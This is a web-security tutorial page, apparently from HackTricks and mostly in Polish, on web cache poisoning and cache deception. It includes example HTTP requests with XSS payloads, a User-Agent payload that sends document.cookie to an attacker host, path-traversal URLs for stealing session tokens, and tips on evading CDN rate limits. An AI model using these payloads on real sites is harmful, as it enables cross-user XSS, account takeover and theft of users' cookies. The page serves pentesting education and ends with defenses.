# Cache Poisoning and Cache Deception

{{#include ../../banners/hacktricks-training.md}}

## Różnica

> **Jaka jest różnica między złośliwym wykorzystaniem pamięci podręcznej a oszustwem pamięci podręcznej?**
>
> - W **złośliwym wykorzystaniu pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej złośliwą zawartość, która jest następnie serwowana innym użytkownikom aplikacji.
> - W **oszustwie pamięci podręcznej** atakujący powoduje, że aplikacja przechowuje w pamięci podręcznej wrażliwą zawartość należącą do innego użytkownika, a następnie atakujący odzyskuje tę zawartość z pamięci podręcznej.

## Złośliwe wykorzystanie pamięci podręcznej

Złośliwe wykorzystanie pamięci podręcznej ma na celu manipulację pamięcią podręczną po stronie klienta, aby zmusić klientów do ładowania zasobów, które są nieoczekiwane, częściowe lub pod kontrolą atakującego. Zakres wpływu zależy od popularności dotkniętej strony, ponieważ skażona odpowiedź jest serwowana wyłącznie użytkownikom odwiedzającym stronę w okresie zanieczyszczenia pamięci podręcznej.

Wykonanie ataku złośliwego wykorzystania pamięci podręcznej obejmuje kilka kroków:

1. **Identyfikacja niekluczowych wejść**: Są to parametry, które, chociaż nie są wymagane do zbuforowania żądania, mogą zmieniać odpowiedź zwracaną przez serwer. Identyfikacja tych wejść jest kluczowa, ponieważ mogą być wykorzystywane do manipulacji pamięcią podręczną.
2. **Wykorzystanie niekluczowych wejść**: Po zidentyfikowaniu niekluczowych wejść, kolejnym krokiem jest ustalenie, jak niewłaściwie wykorzystać te parametry, aby zmodyfikować odpowiedź serwera w sposób korzystny dla atakującego.
3. **Zapewnienie, że skażona odpowiedź jest zbuforowana**: Ostatnim krokiem jest upewnienie się, że zmanipulowana odpowiedź jest przechowywana w pamięci podręcznej. W ten sposób każdy użytkownik uzyskujący dostęp do dotkniętej strony podczas zanieczyszczenia pamięci podręcznej otrzyma skażoną odpowiedź.

### Odkrycie: Sprawdź nagłówki HTTP

Zazwyczaj, gdy odpowiedź została **przechowywana w pamięci podręcznej**, będzie **nagłówek to wskazujący**, możesz sprawdzić, które nagłówki powinieneś obserwować w tym poście: [**Nagłówki pamięci podręcznej HTTP**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

### Odkrycie: Kody błędów pamięci podręcznej

Jeśli myślisz, że odpowiedź jest przechowywana w pamięci podręcznej, możesz spróbować **wysłać żądania z błędnym nagłówkiem**, na które powinno być odpowiedziane **kodem statusu 400**. Następnie spróbuj uzyskać dostęp do żądania normalnie, a jeśli **odpowiedź to kod statusu 400**, wiesz, że jest podatne (a nawet możesz przeprowadzić DoS).

Możesz znaleźć więcej opcji w:

{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

Jednak pamiętaj, że **czasami te rodzaje kodów statusu nie są buforowane**, więc ten test może nie być wiarygodny.

### Odkrycie: Identyfikacja i ocena niekluczowych wejść

Możesz użyć [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943), aby **brute-force'ować parametry i nagłówki**, które mogą **zmieniać odpowiedź strony**. Na przykład, strona może używać nagłówka `X-Forwarded-For`, aby wskazać klientowi załadowanie skryptu stamtąd:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Wydobycie szkodliwej odpowiedzi z serwera zaplecza

Po zidentyfikowaniu parametru/nagłówka sprawdź, jak jest on **sanitizowany** i **gdzie** jest **odzwierciedlany** lub wpływa na odpowiedź z nagłówka. Czy możesz to w jakiś sposób wykorzystać (wykonać XSS lub załadować kontrolowany przez siebie kod JS? przeprowadzić DoS?...)

### Uzyskanie odpowiedzi w pamięci podręcznej

Gdy już **zidentyfikujesz** **stronę**, którą można wykorzystać, który **parametr**/**nagłówek** użyć i **jak** go **wykorzystać**, musisz uzyskać stronę w pamięci podręcznej. W zależności od zasobu, który próbujesz umieścić w pamięci podręcznej, może to zająć trochę czasu, możesz musieć próbować przez kilka sekund.

Nagłówek **`X-Cache`** w odpowiedzi może być bardzo przydatny, ponieważ może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest w pamięci podręcznej.\
Nagłówek **`Cache-Control`** jest również interesujący, aby wiedzieć, czy zasób jest zapisywany w pamięci podręcznej i kiedy następnym razem zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800`

Innym interesującym nagłówkiem jest **`Vary`**. Ten nagłówek jest często używany do **wskazywania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. Dlatego, jeśli użytkownik zna `User-Agent` ofiary, którą celuje, może zanieczyścić pamięć podręczną dla użytkowników korzystających z tego konkretnego `User-Agent`.

Jeszcze jednym nagłówkiem związanym z pamięcią podręczną jest **`Age`**. Określa czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy.

Podczas buforowania żądania, bądź **ostrożny z nagłówkami, których używasz**, ponieważ niektóre z nich mogą być **używane w sposób nieoczekiwany** jako **kluczowane**, a **ofiara będzie musiała użyć tego samego nagłówka**. Zawsze **testuj** zanieczyszczenie pamięci podręcznej przy użyciu **różnych przeglądarek**, aby sprawdzić, czy działa.

## Przykłady wykorzystania

### Najprostszy przykład

Nagłówek taki jak `X-Forwarded-For` jest odzwierciedlany w odpowiedzi bez sanitizacji.\
Możesz wysłać podstawowy ładunek XSS i zanieczyścić pamięć podręczną, aby każdy, kto uzyska dostęp do strony, został zaatakowany XSS:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_

### Cache poisoning to DoS


{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

### Cache poisoning through CDNs

W **[tym opisie](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** wyjaśniono następujący prosty scenariusz:

- CDN będzie cache'ować wszystko pod `/share/`
- CDN NIE zdekoduje ani nie znormalizuje `%2F..%2F`, dlatego może być użyty jako **path traversal do uzyskania dostępu do innych wrażliwych lokalizacji, które będą cache'owane** jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Serwer WWW ZDEKODUJE i znormalizuje `%2F..%2F`, i odpowie `/api/auth/session`, który **zawiera token autoryzacji**.

### Using web cache poisoning to exploit cookie-handling vulnerabilities

Ciasteczka mogą być również odzwierciedlane w odpowiedzi strony. Jeśli możesz to wykorzystać, aby spowodować XSS na przykład, możesz być w stanie wykorzystać XSS w kilku klientach, które ładują złośliwą odpowiedź z cache.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Zauważ, że jeśli podatny cookie jest często używany przez użytkowników, regularne żądania będą czyścić pamięć podręczną.

### Generowanie rozbieżności z użyciem ograniczników, normalizacji i kropek <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Sprawdź:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Zatrucie pamięci podręcznej z wykorzystaniem przejścia ścieżki w celu kradzieży klucza API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**Ten artykuł wyjaśnia**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jak możliwe było skradzenie klucza API OpenAI za pomocą URL-a takiego jak `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, ponieważ wszystko, co pasuje do `/share/*`, będzie buforowane bez normalizacji URL przez Cloudflare, co miało miejsce, gdy żądanie dotarło do serwera webowego.

Jest to również lepiej wyjaśnione w:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Wykorzystanie wielu nagłówków do eksploatacji podatności na zatrucie pamięci podręcznej <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Czasami będziesz musiał **wykorzystać kilka niekluczowanych wejść**, aby móc nadużyć pamięci podręcznej. Na przykład, możesz znaleźć **otwarty przekierowanie**, jeśli ustawisz `X-Forwarded-Host` na domenę kontrolowaną przez Ciebie i `X-Forwarded-Scheme` na `http`. **Jeśli** **serwer** **przekazuje** wszystkie **żądania HTTP** **do HTTPS** i używa nagłówka `X-Forwarded-Scheme` jako nazwy domeny dla przekierowania. Możesz kontrolować, gdzie strona jest skierowana przez przekierowanie.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Wykorzystywanie z ograniczonym nagłówkiem `Vary`

Jeśli odkryłeś, że nagłówek **`X-Host`** jest używany jako **nazwa domeny do ładowania zasobu JS**, ale nagłówek **`Vary`** w odpowiedzi wskazuje na **`User-Agent`**. W takim razie musisz znaleźć sposób na wyekstrahowanie User-Agent ofiary i zanieczyszczenie pamięci podręcznej przy użyciu tego user agenta:
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get

Wyślij żądanie GET z żądaniem w URL i w ciele. Jeśli serwer WWW używa tego z ciała, ale serwer cache'ujący przechowuje to z URL, każdy, kto uzyskuje dostęp do tego URL, faktycznie użyje parametru z ciała. Jak w przypadku luki, którą znalazł James Kettle na stronie Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

### Ukrywanie parametrów

Na przykład możliwe jest oddzielanie **parametrów** na serwerach ruby za pomocą znaku **`;`** zamiast **`&`**. Może to być użyte do umieszczania wartości parametrów bez kluczy wewnątrz tych z kluczami i ich nadużywania.

Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

### Wykorzystywanie zatrucia pamięci podręcznej HTTP poprzez nadużywanie HTTP Request Smuggling

Dowiedz się tutaj, jak przeprowadzać [ataki na zatrucie pamięci podręcznej, nadużywając HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).

### Automatyczne testowanie na zatrucie pamięci podręcznej

[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) może być używany do automatycznego testowania na zatrucie pamięci podręcznej. Obsługuje wiele różnych technik i jest wysoce konfigurowalny.

Przykład użycia: `wcvs -u example.com`

### Odbicie nagłówka XSS + seeding pamięci podręcznej wspomagany przez CDN/WAF (User-Agent, automatycznie buforowany .js)

Ten wzór z rzeczywistego świata łączy prymityw odbicia opartego na nagłówku z zachowaniem CDN/WAF, aby niezawodnie zatruć buforowany HTML serwowany innym użytkownikom:

- Główny HTML odbił nieufny nagłówek żądania (np. `User-Agent`) w kontekście wykonawczym.
- CDN usunął nagłówki pamięci podręcznej, ale istniała pamięć podręczna wewnętrzna/oryginalna. CDN również automatycznie buforował żądania kończące się statycznymi rozszerzeniami (np. `.js`), podczas gdy WAF stosował słabszą inspekcję treści do GETów dla statycznych zasobów.
- Dziwactwa przepływu żądań pozwoliły na to, aby żądanie do ścieżki `.js` wpłynęło na klucz/wariant pamięci podręcznej używany dla następnego głównego HTML, umożliwiając XSS między użytkownikami poprzez odbicie nagłówka.

Praktyczny przepis (obserwowany w popularnym CDN/WAF):

1) Z czystego IP (unikaj wcześniejszych degradacji opartych na reputacji), ustaw złośliwy `User-Agent` za pomocą przeglądarki lub Burp Proxy Match & Replace.
2) W Burp Repeater przygotuj grupę dwóch żądań i użyj "Wyślij grupę równolegle" (tryb pojedynczego pakietu działa najlepiej):
- Pierwsze żądanie: GET zasobu `.js` na tym samym pochodzeniu, wysyłając swój złośliwy `User-Agent`.
- Natychmiast po tym: GET głównej strony (`/`).
3) Wyścig routingu CDN/WAF oraz automatycznie buforowane `.js` często zasiewają zatrutą wersję buforowanego HTML, która jest następnie serwowana innym odwiedzającym dzielącym te same warunki klucza pamięci podręcznej (np. te same wymiary `Vary`, takie jak `User-Agent`).

Przykład ładunku nagłówka (do eksfiltracji ciasteczek nie-HttpOnly):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:

- Wiele CDN-ów ukrywa nagłówki pamięci podręcznej; zatrucie może wystąpić tylko w przypadku cykli odświeżania trwających wiele godzin. Użyj wielu adresów IP i ogranicz prędkość, aby uniknąć wyzwalaczy limitów szybkości lub reputacji.
- Użycie adresu IP z własnej chmury CDN czasami poprawia spójność routingu.
- Jeśli obecna jest surowa CSP, to nadal działa, jeśli odbicie wykonuje się w głównym kontekście HTML, a CSP zezwala na wykonanie wbudowane lub jest omijane przez kontekst.

Impact:

- Jeśli ciasteczka sesyjne nie są `HttpOnly`, możliwe jest przejęcie konta bez kliknięcia przez masowe wyeksportowanie `document.cookie` od wszystkich użytkowników, którym serwowany jest zatruty HTML.

Defenses:

- Przestań odbijać nagłówki żądań w HTML; ściśle koduj kontekstowo, jeśli to nieuniknione. Dostosuj polityki pamięci podręcznej CDN i źródła oraz unikaj różnicowania na niezaufanych nagłówkach.
- Upewnij się, że WAF stosuje inspekcję treści konsekwentnie do żądań `.js` i statycznych ścieżek.
- Ustaw `HttpOnly` (i `Secure`, `SameSite`) na ciasteczkach sesyjnych.

## Vulnerable Examples

### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATS przesłał fragment wewnątrz URL bez jego usuwania i wygenerował klucz pamięci podręcznej, używając tylko hosta, ścieżki i zapytania (ignorując fragment). Tak więc żądanie `/#/../?r=javascript:alert(1)` zostało wysłane do backendu jako `/#/../?r=javascript:alert(1)` i klucz pamięci podręcznej nie zawierał ładunku, tylko host, ścieżkę i zapytanie.

### GitHub CP-DoS

Wysłanie złej wartości w nagłówku content-type spowodowało wyzwolenie odpowiedzi 405 w pamięci podręcznej. Klucz pamięci podręcznej zawierał ciasteczko, więc możliwe było zaatakowanie tylko użytkowników nieautoryzowanych.

### GitLab + GCP CP-DoS

GitLab używa koszy GCP do przechowywania treści statycznych. **GCP Buckets** obsługują **nagłówek `x-http-method-override`**. Tak więc możliwe było wysłanie nagłówka `x-http-method-override: HEAD` i zatrucie pamięci podręcznej, aby zwrócić pustą treść odpowiedzi. Mogło to również wspierać metodę `PURGE`.

### Rack Middleware (Ruby on Rails)

W aplikacjach Ruby on Rails często wykorzystywane jest oprogramowanie pośredniczące Rack. Celem kodu Rack jest wzięcie wartości nagłówka **`x-forwarded-scheme`** i ustawienie go jako schematu żądania. Gdy nagłówek `x-forwarded-scheme: http` jest wysyłany, następuje przekierowanie 301 do tej samej lokalizacji, co potencjalnie może spowodować Denial of Service (DoS) dla tego zasobu. Dodatkowo aplikacja może uznawać nagłówek `X-forwarded-host` i przekierowywać użytkowników do określonego hosta. To zachowanie może prowadzić do ładowania plików JavaScript z serwera atakującego, co stanowi zagrożenie dla bezpieczeństwa.

### 403 and Storage Buckets

Cloudflare wcześniej buforował odpowiedzi 403. Próba dostępu do S3 lub Azure Storage Blobs z nieprawidłowymi nagłówkami autoryzacji skutkowała odpowiedzią 403, która była buforowana. Chociaż Cloudflare przestał buforować odpowiedzi 403, to zachowanie może nadal występować w innych usługach proxy.

### Injecting Keyed Parameters

Bufory często zawierają konkretne parametry GET w kluczu pamięci podręcznej. Na przykład, Varnish Fastly buforował parametr `size` w żądaniach. Jednak jeśli wysłano również zakodowaną wersję parametru (np. `siz%65`) z błędną wartością, klucz pamięci podręcznej byłby skonstruowany przy użyciu poprawnego parametru `size`. Jednak backend przetwarzałby wartość w zakodowanym parametrze. Zakodowanie drugiego parametru `size` prowadziło do jego pominięcia przez pamięć podręczną, ale jego wykorzystania przez backend. Przypisanie wartości 0 do tego parametru skutkowało buforowalnym błędem 400 Bad Request.

### User Agent Rules

Niektórzy deweloperzy blokują żądania z user-agentami odpowiadającymi tym z narzędzi o dużym ruchu, takich jak FFUF czy Nuclei, aby zarządzać obciążeniem serwera. Ironią jest to, że takie podejście może wprowadzać luki, takie jak zatrucie pamięci podręcznej i DoS.

### Illegal Header Fields

[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) określa akceptowalne znaki w nazwach nagłówków. Nagłówki zawierające znaki spoza określonego zakresu **tchar** powinny idealnie wyzwalać odpowiedź 400 Bad Request. W praktyce serwery nie zawsze przestrzegają tego standardu. Znaczącym przykładem jest Akamai, które przesyła nagłówki z nieprawidłowymi znakami i buforuje każdy błąd 400, o ile nagłówek `cache-control` nie jest obecny. Zidentyfikowano wzór, w którym wysłanie nagłówka z nielegalnym znakiem, takim jak `\`, skutkowało buforowalnym błędem 400 Bad Request.

### Finding new headers

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## Cache Deception

Celem Cache Deception jest sprawienie, aby klienci **ładowali zasoby, które będą zapisywane przez pamięć podręczną z ich wrażliwymi informacjami**.

Przede wszystkim zauważ, że **rozszerzenia** takie jak `.css`, `.js`, `.png` itp. są zazwyczaj **konfigurowane** do **zapisywania** w **pamięci podręcznej.** Dlatego, jeśli uzyskasz dostęp do `www.example.com/profile.php/nonexistent.js`, pamięć podręczna prawdopodobnie zapisze odpowiedź, ponieważ widzi rozszerzenie `.js`. Ale jeśli **aplikacja** odtwarza **wrażliwe** treści użytkownika przechowywane w _www.example.com/profile.php_, możesz **ukraść** te treści od innych użytkowników.

Inne rzeczy do przetestowania:

- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Użyj mniej znanych rozszerzeń, takich jak_ `.avif`

Inny bardzo jasny przykład można znaleźć w tym opisie: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
W przykładzie wyjaśniono, że jeśli załadujesz nieistniejącą stronę, taką jak _http://www.example.com/home.php/non-existent.css_, treść _http://www.example.com/home.php_ (**z wrażliwymi informacjami użytkownika**) zostanie zwrócona, a serwer pamięci podręcznej zapisze wynik.\
Następnie **atakujący** może uzyskać dostęp do _http://www.example.com/home.php/non-existent.css_ w swojej przeglądarce i obserwować **poufne informacje** użytkowników, którzy uzyskali dostęp wcześniej.

Zauważ, że **proxy pamięci podręcznej** powinno być **skonfigurowane** do **buforowania** plików **na podstawie** **rozszerzenia** pliku (_.css_) i nie na podstawie typu treści. W przykładzie _http://www.example.com/home.php/non-existent.css_ będzie miał typ treści `text/html` zamiast `text/css` (co jest oczekiwane dla pliku _.css_).

Dowiedz się tutaj, jak przeprowadzać [ataki Cache Deceptions wykorzystujące HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

## Automatic Tools

- [**toxicache**](https://github.com/xhzeem/toxicache): skaner Golang do znajdowania luk w pamięci podręcznej w sieci w liście URL i testowania wielu technik wstrzykiwania.

## References

- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)


{{#include ../../banners/hacktricks-training.md}}